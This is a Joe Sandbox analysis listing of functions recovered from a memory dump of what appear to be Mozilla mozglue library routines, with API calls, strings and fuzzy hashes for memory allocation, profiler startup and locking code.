Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 5fa9109f886e7980d2365c2408a588f06aa05e855751424b37d9cc6d9214cb89
Instruction ID: 3394425715828b93bd5f112703eeda565116b569104954793d5872d518b878cf
Opcode Fuzzy Hash: 5fa9109f886e7980d2365c2408a588f06aa05e855751424b37d9cc6d9214cb89
Instruction Fuzzy Hash: CE21E771A04605ABDB00DF69CC40BAEFBB9FF55314F288129E918DB341E775D911C7A1

Function 6C94B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C94B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C94B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C94B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C94B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C94B849

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 723a1ee41b56ae230dc54ed70735f5fa5954dffd9857522c62bf927845723ec0
Instruction ID: ba61e6c66ebf5d3f4fddcfc77052ac10f279c00fee8a9d1d47d7d29747146725
Opcode Fuzzy Hash: 723a1ee41b56ae230dc54ed70735f5fa5954dffd9857522c62bf927845723ec0
Instruction Fuzzy Hash: E4214BB0E042099FDF04DFA9C8855BEBBB4EF49214F148169E805A7740E731AA44CBA0

Function 6C9A6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A6E78

Part of subcall function 6C9A6A10: InitializeCriticalSection.KERNEL32(6C9CF618), ref: 6C9A6A68
Part of subcall function 6C9A6A10: GetCurrentProcess.KERNEL32 ref: 6C9A6A7D
Part of subcall function 6C9A6A10: GetCurrentProcess.KERNEL32 ref: 6C9A6AA1
Part of subcall function 6C9A6A10: EnterCriticalSection.KERNEL32(6C9CF618), ref: 6C9A6AAE
Part of subcall function 6C9A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9A6AE1
Part of subcall function 6C9A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C9A6B15
Part of subcall function 6C9A6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C9A6B65
Part of subcall function 6C9A6A10: LeaveCriticalSection.KERNEL32(6C9CF618,?,?), ref: 6C9A6B83

MozFormatCodeAddress.MOZGLUE ref: 6C9A6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9A6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C9A6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C9A6EFF

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: b9a5356aba24053d7b7bf9f18f9a8df6cd738bcb8cb8d0ad90e34892943b2fa5
Instruction ID: 85102252f0dd2e0ce8fe8ca8a826726d3da22f5c67afd4684d3aa084520e3a78
Opcode Fuzzy Hash: b9a5356aba24053d7b7bf9f18f9a8df6cd738bcb8cb8d0ad90e34892943b2fa5
Instruction Fuzzy Hash: B121C171A0821A9FCB00CF69D8856DE77F8EF88348F044039E80997340EB309A59CF92

Function 6C9A76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9A76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C9A7705

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9A7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C9A778F,00000000,00000000,00000000,00000000), ref: 6C9A7731
free.MOZGLUE(00000000), ref: 6C9A7760

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: aa3acb013dc09196977a793408e7f0287185e9f46722eae442b333fc01db849f
Instruction ID: 21aa89dd9bf1c1cb90a69efef5b626013f752c7db5c5a7889eb0e02fe414270a
Opcode Fuzzy Hash: aa3acb013dc09196977a793408e7f0287185e9f46722eae442b333fc01db849f
Instruction Fuzzy Hash: 7011B2B29042156BE710AFB68C44BAFBEF8EF55754F144429F848A7300E7708950CBE2

Function 6C980D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C943DEF), ref: 6C980D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C943DEF), ref: 6C980D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C943DEF), ref: 6C980DAF

Strings

<jemalloc>, xrefs: 6C980D92, 6C980DB9
: (malloc) Error in VirtualFree(), xrefs: 6C980D97, 6C980DBE

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 7b54f0e6b727097685cb34335d4810d03d74bd9e0ea2bb2ba2f6d6bf11e21642
Instruction ID: ae5ce941ff0adc6a6849cd0595494c252ad3b3ede4f30fe46cf271e63ae1ff98
Opcode Fuzzy Hash: 7b54f0e6b727097685cb34335d4810d03d74bd9e0ea2bb2ba2f6d6bf11e21642
Instruction Fuzzy Hash: E3F0AE3238779423E72021665C0BF6A366D6BC3F65F345935F604DFDC0DA50E4104AAB

Function 6C997620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9975C4,?), ref: 6C99762B

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9974D7,6C9A15FC,?,?,?), ref: 6C997644
GetCurrentThreadId.KERNEL32 ref: 6C99765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9974D7,6C9A15FC,?,?,?), ref: 6C997663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9974D7,6C9A15FC,?,?,?), ref: 6C997677

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 9a8ef5c9e134cc71aa2c31025f7f70fcf510426640e25ae23c1c55c2c33319a4
Instruction ID: 57f3c733b0143b6b15661f642e76981a0aa304a36e2bea52aa89ff25bc7f9d6a
Opcode Fuzzy Hash: 9a8ef5c9e134cc71aa2c31025f7f70fcf510426640e25ae23c1c55c2c33319a4
Instruction Fuzzy Hash: 29F0AF76E14785ABD7008F61C888676BB78FFEA659F214316F90543601E7B0A6D08BD0

Function 6C9A1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9A1800

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

Part of subcall function 6C944290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C983EBD,6C983EBD,00000000), ref: 6C9442A9

Strings

Details, xrefs: 6C9A1925
{marker.name} - {marker.data.name}, xrefs: 6C9A18C7
name, xrefs: 6C9A1939

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d5587a5e692ad49b3e01ee58fa5e8af67ce6c6d982b3dd0530060e49ed4ab624
Instruction ID: 1583c9f1d61bbf109b65973d6ce85f63da131d68791c322fe41fb9d0185ba2cc
Opcode Fuzzy Hash: d5587a5e692ad49b3e01ee58fa5e8af67ce6c6d982b3dd0530060e49ed4ab624
Instruction Fuzzy Hash: A4710470A00346DFDB04CF68D4907AABBB5FF96304F104669D8154BB41DB70EA99CBE2

Function 6C9AB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9AB0A6,6C9AB0A6,?,6C9AAF67,?,00000010,?,6C9AAF67,?,00000010,00000000,?,?,6C9AAB1F), ref: 6C9AB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9AB0A6,6C9AB0A6,?,6C9AAF67,?,00000010,?,6C9AAF67,?,00000010,00000000,?), ref: 6C9AB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9AB0A6,6C9AB0A6,?,6C9AAF67,?,00000010,?,6C9AAF67,?,00000010), ref: 6C9AB25F

Strings

map/set<T> too long, xrefs: 6C9AB1FA

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 80226a3b98309b8fdae6773037c89d4314ce0683218c7c44186ed17cb601be41
Instruction ID: 97a227496cfc5228fb237d553c8834a8041f553952be9613489fcf9af2ba97d9
Opcode Fuzzy Hash: 80226a3b98309b8fdae6773037c89d4314ce0683218c7c44186ed17cb601be41
Instruction Fuzzy Hash: 1D619C746042498FD701CF99C880A9ABBF5FF5A318F28C599D8598FB52C331ED46CBA1

Function 6C96D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

EnterCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D4F2
LeaveCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D50B

Part of subcall function 6C94CFE0: EnterCriticalSection.KERNEL32(6C9CE784), ref: 6C94CFF6
Part of subcall function 6C94CFE0: LeaveCriticalSection.KERNEL32(6C9CE784), ref: 6C94D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D52E
EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C96D690
LeaveCriticalSection.KERNEL32(6C9CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C97D1C5), ref: 6C96D751

Strings

MOZ_CRASH(), xrefs: 6C96D4BB

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 048a6fb3f340942f71752cf853e18bc27cfd1cab9ecc87e9d947c747c598ce2e
Instruction ID: ed106bfd19355a9b40316feac824fe33cb243d50425550059ea2399c0e2e1663
Opcode Fuzzy Hash: 048a6fb3f340942f71752cf853e18bc27cfd1cab9ecc87e9d947c747c598ce2e
Instruction Fuzzy Hash: B751C372A087418FE364CF29C49475AB7F5EB89714F24492EE5AAC7F85D770E800CB92

Function 6C994630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C994721

Strings

profiler-paused, xrefs: 6C9946E4
-%llu, xrefs: 6C994733
., xrefs: 6C99476A

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 80fa1184333f28c322ed8f43aa0e21f0780573cc984febfda00da4813ab14638
Instruction ID: f34f1deca13616db51051350cb545cb1486d67067530c39fbfa75780c84dc74d
Opcode Fuzzy Hash: 80fa1184333f28c322ed8f43aa0e21f0780573cc984febfda00da4813ab14638
Instruction Fuzzy Hash: F7417A72F087089BCB09CF78D85115EBBE9EF95744F24863DE85567B41E730D8048B51

Function 6C9B9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9B987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9B98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9B98D9

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: ef95c1d81322e48eb513b38a611efbbdd790c9ee6f30a47fa34e3bc9b2310eea
Instruction ID: 9de4a32bfc7e0bd5e7778a83de3a1c97a264092be374065c0be858e9f0f656c8
Opcode Fuzzy Hash: ef95c1d81322e48eb513b38a611efbbdd790c9ee6f30a47fa34e3bc9b2310eea
Instruction Fuzzy Hash: E431F471B00208ABDF14AF59D8449EF77B9DB94718F50806DEA0AABB40CB31D904CBE1

Function 6C9946E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C994721

Part of subcall function 6C944410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C983EBD,00000017,?,00000000,?,6C983EBD,?,?,6C9442D2), ref: 6C944444

Strings

profiler-paused, xrefs: 6C9946E4
-%llu, xrefs: 6C994733
., xrefs: 6C99476A

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: bc35b58f27940cf7f1775c5fbff2564df33d6dbd83b95202ba018a4e4697c32d
Instruction ID: 8f71140950bcdc769b38465597e2874553a8e0856f43ed431c21269c7a418adb
Opcode Fuzzy Hash: bc35b58f27940cf7f1775c5fbff2564df33d6dbd83b95202ba018a4e4697c32d
Instruction Fuzzy Hash: 0E313775F043185BCB08CF6CD8912AEBBE6DB99714F18813EE8159BB41EB70D9048B91

Function 6C99B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C944290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C983EBD,6C983EBD,00000000), ref: 6C9442A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C99B127), ref: 6C99B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C99B4E4

Strings

pid:, xrefs: 6C99B4DE

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8f8eef1439575e6c7704f0cd5dd69de8b2c00c0f59620e350d651331e917f00f
Instruction ID: 3f69d350d2dd533274f4d913dfd6cf2a1423ee6f85fb877b209dad6cea67baea
Opcode Fuzzy Hash: 8f8eef1439575e6c7704f0cd5dd69de8b2c00c0f59620e350d651331e917f00f
Instruction Fuzzy Hash: 15314631A01208DFDB20DFA9D880AEEBBB9FF45308F580529D80167B41D735E945CBE2

Function 6C98E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C98E577
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98E584
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C98E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6C98E5A1, 6C98E5CC, 6C98E5FF, 6C98E62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C98E722, 6C98E750, 6C98E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C98E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C98E826, 6C98E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C98E655

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 31254dc63d57a8922c94ce4fa9ac07fafd2c4a5cb7613a44a36f6f56ae2d2891
Instruction ID: 3fd905a4af8a5076377c2d67dfc6df224b589e311ffd49cd2c0522a0fda6abb8
Opcode Fuzzy Hash: 31254dc63d57a8922c94ce4fa9ac07fafd2c4a5cb7613a44a36f6f56ae2d2891
Instruction Fuzzy Hash: 8E11A136B08754DFCB009F14C448A6DBBB8FB8972CF600519E85557A50C774E944CFD6

Function 6C990C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C990CD5

Part of subcall function 6C97F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C97F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C990D40
free.MOZGLUE ref: 6C990DCB

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

free.MOZGLUE ref: 6C990DDD
free.MOZGLUE ref: 6C990DF2

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fd66d18a3f384816ab6ca0759294cf6cd7c5203db16c659ecad492470c4fbf77
Instruction ID: 243c86d93e891ef51844a02c48d227d871c12ac2cd68dbb9398157d224b261ed
Opcode Fuzzy Hash: fd66d18a3f384816ab6ca0759294cf6cd7c5203db16c659ecad492470c4fbf77
Instruction Fuzzy Hash: 7E411571A097809BD720CF29C08079EFBE9BF99714F549A2EE8E887B51D770D444CB82

Function 6C980800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C980838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C98084C
EnterCriticalSection.KERNEL32(?), ref: 6C9808AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9808BD
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C9808D5

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
